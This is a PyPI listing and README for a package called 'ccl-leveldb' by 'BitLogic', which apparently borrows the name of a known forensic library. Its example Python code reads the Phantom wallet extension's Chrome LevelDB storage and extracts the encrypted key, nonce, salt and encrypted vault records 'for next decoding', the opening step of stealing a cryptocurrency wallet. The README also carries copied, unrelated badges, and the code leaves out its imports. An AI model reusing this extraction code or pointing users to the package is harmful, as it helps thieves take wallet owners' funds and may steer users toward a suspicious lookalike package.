Name | ccl-leveldb JSON |
Version |
1.0
JSON |
| download |
home_page | |
Summary | CCL Leveldb Reader, extract vault data from any chrome extensions, and etc. |
upload_time | 2024-03-04 17:21:49 |
maintainer | |
docs_url | None |
author | BitLogic |
requires_python | >=3.7,<4.0 |
license | MIT |
keywords |
|
VCS |
|
bugtrack_url |
|
requirements |
No requirements were recorded.
|
Travis-CI |
No Travis.
|
coveralls test coverage |
No coveralls.
|
# CCL Level DB
[![N|Solid](https://cldup.com/dTxpPi9lDf.thumb.png)](https://nodesource.com/products/nsolid)
![](https://img.shields.io/github/stars/pandao/editor.md.svg) ![](https://img.shields.io/github/forks/pandao/editor.md.svg) ![](https://img.shields.io/github/tag/pandao/editor.md.svg) ![](https://img.shields.io/github/release/pandao/editor.md.svg) ![](https://img.shields.io/github/issues/pandao/editor.md.svg) ![](https://img.shields.io/bower/v/editor.md.svg)
LDB Reader and extract data from phantom wallet, ecnrypted key and data, vector, salt data for next decoding.
## Installation
Python requires [Python.org](https://www.python.org/) v3,7+ to run.
Install the dependencies and devDependencies and start the server.
```sh
python -m pip install pip
python -m pip install --upgrade pip
pip install ccl_leveldb
```
## Example code
example patch
###### C:\Users\root\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
```python
import ccl_leveldb
def findldb(db_path):
try:
leveldb_records = ccl_leveldb.RawLevelDb(db_path)
for record in leveldb_records.iterate_records_raw():
try:
encrypted_object = json.loads(record.value.decode("utf8"))
if "encryptedKey" in encrypted_object and "encrypted" in encrypted_object["encryptedKey"]:
break
except:
pass
data = encrypted_object["encryptedKey"]
encrypted = base58.b58decode(data["encrypted"])
nonce = base58.b58decode(data["nonce"])
salt = base58.b58decode(data["salt"])
result_object_2 = []
leveldb_records = ccl_leveldb.RawLevelDb(db_path)
for record in leveldb_records.iterate_records_raw():
try:
json_data = json.loads(record.value.decode("utf8"))
if "content" in json_data and "encrypted" in json_data["content"]:
result_object_2.append(json_data)
except:
pass
return [result_object_2, [encrypted, nonce, salt]]
except Exception as ex:
return []
```
##Output:
```
[Encrypted, [data, vector, salt]]
```
For more information, see [docs.python-guide.org](http://docs.python-guide.org "docs.python-guide.org").
## License
MIT
>Decoder master project (c)
Raw data
{
"_id": null,
"home_page": "",
"name": "ccl-leveldb",
"maintainer": "",
"docs_url": null,
"requires_python": ">=3.7,<4.0",
"maintainer_email": "",
"keywords": "",
"author": "BitLogic",
"author_email": "BitLogic@hash.io",
"download_url": "https://files.pythonhosted.org/packages/b8/30/756c9b68ee8492fc0e9ae92ae501b953477c13a3c44445b4cec6e2d6aa85/ccl_leveldb-1.0.tar.gz",
"platform": null,
"description": "# CCL Level DB\n[![N|Solid](https://cldup.com/dTxpPi9lDf.thumb.png)](https://nodesource.com/products/nsolid)\n\n![](https://img.shields.io/github/stars/pandao/editor.md.svg) ![](https://img.shields.io/github/forks/pandao/editor.md.svg) ![](https://img.shields.io/github/tag/pandao/editor.md.svg) ![](https://img.shields.io/github/release/pandao/editor.md.svg) ![](https://img.shields.io/github/issues/pandao/editor.md.svg) ![](https://img.shields.io/bower/v/editor.md.svg)\n\nLDB Reader and extract data from phantom wallet, ecnrypted key and data, vector, salt data for next decoding.\n\n## Installation\nPython requires [Python.org](https://www.python.org/) v3,7+ to run.\nInstall the dependencies and devDependencies and start the server.\n```sh\npython -m pip install pip\npython -m pip install --upgrade pip\npip install ccl_leveldb\n```\n## Example code\nexample patch\n###### C:\\Users\\root\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\nkbihfbeogaeaoehlefnkodbefgpgknn\n\n```python\nimport ccl_leveldb\n\ndef findldb(db_path):\n\ttry:\n\t\tleveldb_records = ccl_leveldb.RawLevelDb(db_path)\n\t\tfor record in leveldb_records.iterate_records_raw():\n\t\t\ttry:\n\t\t\t\tencrypted_object = json.loads(record.value.decode(\"utf8\"))\n\t\t\t\tif \"encryptedKey\" in encrypted_object and \"encrypted\" in encrypted_object[\"encryptedKey\"]:\n\t\t\t\t break\n\t\t\texcept:\n\t\t\t\tpass\n\t\tdata = encrypted_object[\"encryptedKey\"]\n\t\tencrypted = base58.b58decode(data[\"encrypted\"])\n\t\tnonce = base58.b58decode(data[\"nonce\"])\n\t\tsalt = base58.b58decode(data[\"salt\"])\n\t\tresult_object_2 = []\n\t\tleveldb_records = ccl_leveldb.RawLevelDb(db_path)\n\t\tfor record in leveldb_records.iterate_records_raw():\n\t\t\ttry:\n\t\t\t\tjson_data = json.loads(record.value.decode(\"utf8\"))\n\t\t\t\tif \"content\" in json_data and \"encrypted\" in json_data[\"content\"]:\n\t\t\t\t\tresult_object_2.append(json_data)\n\t\t\texcept:\n\t\t\t\tpass\n\t\treturn [result_object_2, [encrypted, nonce, salt]]\n\texcept Exception as ex:\n\t\treturn []\n\n```\n##Output:\n```\n[Encrypted, [data, vector, salt]]\n```\n\nFor more information, see [docs.python-guide.org](http://docs.python-guide.org \"docs.python-guide.org\").\n\n## License\nMIT\n>Decoder master project (c)\n",
"bugtrack_url": null,
"license": "MIT",
"summary": "CCL Leveldb Reader, extract vault data from any chrome extensions, and etc.",
"version": "1.0",
"project_urls": null,
"split_keywords": [],
"urls": [
{
"comment_text": "",
"digests": {
"blake2b_256": "ccc663ddf3c735080d1c77cb1a735b18e8239d1e2730ecf66764ce55f939fdf5",
"md5": "d65d76c4e94042313f2631f2503fa68d",
"sha256": "ae802079db9a05d583220bec455de2716c1f7dcdcd523f8881cf7d59b89567cc"
},
"downloads": -1,
"filename": "ccl_leveldb-1.0-py3-none-any.whl",
"has_sig": false,
"md5_digest": "d65d76c4e94042313f2631f2503fa68d",
"packagetype": "bdist_wheel",
"python_version": "py3",
"requires_python": ">=3.7,<4.0",
"size": 8599,
"upload_time": "2024-03-04T17:21:48",
"upload_time_iso_8601": "2024-03-04T17:21:48.109611Z",
"url": "https://files.pythonhosted.org/packages/cc/c6/63ddf3c735080d1c77cb1a735b18e8239d1e2730ecf66764ce55f939fdf5/ccl_leveldb-1.0-py3-none-any.whl",
"yanked": false,
"yanked_reason": null
},
{
"comment_text": "",
"digests": {
"blake2b_256": "b830756c9b68ee8492fc0e9ae92ae501b953477c13a3c44445b4cec6e2d6aa85",
"md5": "a54388900ec60b5e651656332b6a59ef",
"sha256": "48ec8217175af50bcdd024ad05a719859ba2cb2dc7750cb80528d1d8d9073b6f"
},
"downloads": -1,
"filename": "ccl_leveldb-1.0.tar.gz",
"has_sig": false,
"md5_digest": "a54388900ec60b5e651656332b6a59ef",
"packagetype": "sdist",
"python_version": "source",
"requires_python": ">=3.7,<4.0",
"size": 8298,
"upload_time": "2024-03-04T17:21:49",
"upload_time_iso_8601": "2024-03-04T17:21:49.972228Z",
"url": "https://files.pythonhosted.org/packages/b8/30/756c9b68ee8492fc0e9ae92ae501b953477c13a3c44445b4cec6e2d6aa85/ccl_leveldb-1.0.tar.gz",
"yanked": false,
"yanked_reason": null
}
],
"upload_time": "2024-03-04 17:21:49",
"github": false,
"gitlab": false,
"bitbucket": false,
"codeberg": false,
"lcname": "ccl-leveldb"
}